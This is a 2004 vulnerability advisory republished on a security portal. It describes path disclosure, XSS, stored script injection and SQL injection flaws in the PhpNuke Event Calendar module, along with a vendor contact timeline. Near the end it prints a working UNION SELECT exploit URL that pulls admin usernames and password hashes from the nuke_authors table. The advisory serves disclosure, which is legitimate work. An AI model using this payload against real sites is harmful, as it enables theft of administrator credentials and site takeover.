Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 2, 2010
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 urlaxe services
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 LifeDork
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: soresger
New Today: 4
New Yesterday: 3
Overall: 6561

People Online:
Visitors: 95
Members: 5
Total: 100

Online Now:
01: Alexiron - Forums
02: annonym - Forums
03: niailuo - Forums
04: skmpz - Forums
05: soresger - Forums
milw0rm
Currently there is a problem with headlines from this site
PacketStorm News
·USN-956-1.txt
·USN-930-3.txt
·disableaslrarm-shellcode. txt
·sumatrapdf-dos.txt
·joomlamyblogcontroller-lf i.txt
·ninkobb-xsrf.txt
·adobearpushstring-corrupt .txt
·adobearnewfunction-corrup t.txt
·adobearnewclass-corrupt.t xt
·adobear1023-overflow.txt

read more...
Security Basics
·Re: Linux or Unix distribution for network sniffing
·iPhone/iPad Application D evelopment - Android Mobi le Application Development
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Is there any way to test the health of a solid state drive?
·Re: Socks Tunnel over SSH
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing
·Re: Linux or Unix distribution for network sniffing

read more...
[waraxe-2004-SA#038] - Multiple vulnerabilities in Event Calendar module for PhpNuke





Author: Janek Vind "waraxe"
Date: 17. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=38


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Module's Name: Event Calendar
Module's Version: 2.13 - March 16th, 2004
Module's Description: Provides an event calendar for PHP-Nuke communities.
License: GNU/GPL
Author's Name: Original author - Rob Sutton. Development continued by Holbrookau.
Author's Email: phpnuke@holbrookau.net

Event Calendar - a module for PHP-Nuke.
Based on version 1.5 by Rob Sutton, the Event Calendar found here is much updated
and features many improvments and add-ons. For example, the administration area features
configuration via a graphical interface, posting of events can be moderated and users even
have the option of adding comments to any event.

Homepage: http://phpnuke.holbrookau.net/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This piece of sowtware has many security related flaws due to poor user-submitted data
handling.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "config.php":

http://localhost/nuke73/modules/Calendar/config.php

Warning: main(modules/Calendar/configset.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 11
Warning: main(): Failed opening 'modules/Calendar/configset.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 11
Warning: main(mainfile.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 14
Warning: main(): Failed opening 'mainfile.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 14
Warning: main(modules//language/lang-english.php): failed to open stream: No such file or directory in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 19
Warning: main(): Failed opening 'modules//language/lang-english.php' for inclusion (include_path='.;c:php4pear') in D:apache_wwwroot
uke73modulesCalendarconfig.php on line 19


A2, A3 - full path disclosure in "index.php" and "submit.php":

http://localhost/nuke73/modules/Calendar/index.php
http://localhost/nuke73/modules/Calendar/submit.php


B - XSS aka cross site scripting:

Examples:

http://localhost/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://localhost/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]


C - script injection in calendar event comments:

It's serious bug - anyone can insert javascript exploit code to event comments
and if user or admin will read it, javascript will trigger and bad things can
happen - like cookie theft, arbitrary admin operations, etc.


D - critical sql injection bugs in code:

If we take a deep look at source code, then there can be found multiple sql queries,
where some variables, mostly "$eid" and "$cid" ARE NOT surrounded with single quotes.
Therefore sql injection is possible. Further exploitation will depend on database
software and version. In case of the mysql version 4.x with UNION functionality enabled,
arbitrary data can be retrieved from database, inluding admin(s) authentication credentials.
As tradition, there is proof of concept:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT
%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1

----------------[/real life exploit ]---------------


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vendor contacted: 06. September 2004
Vendor responded: 06. September 2004
Detailed list of problems sent to vendor: 08. September 2004

Since then no more response from software developer and downloadable version
still unpatched.

For help with patching look @ here - http://www.waraxe.us/forums.html


Additional recources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Free proxy lists - http://www.waraxe.us/forum/viewforum.php?f=21
Base64 online tool - http://base64-encoder-online.waraxe.us/base64/base64-encoder.php


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix, g0df4th3r and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (9596 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2341
pexli  pexli - 642
vince213333  vince213333 - 604
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 324
y3dips  y3dips - 281
lenny  lenny - 275
tehhunter  tehhunter - 261
SpyderMonkey  SpyderMonkey - 210

M$ Security Bulletins
Currently there is a problem with headlines from this site
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Vuln Watch
·VulnWatch

read more...
alexa
Incidents
·About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About

read more...



Hard drive recovery - Game Cheats - Book Reviews - Cisco VPN error 412
Harry Potter - Book Reviews - Old Science Books Online - Biographies Online Database
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2008 Janek Vind "waraxe"

Page Generation: 0.087 Seconds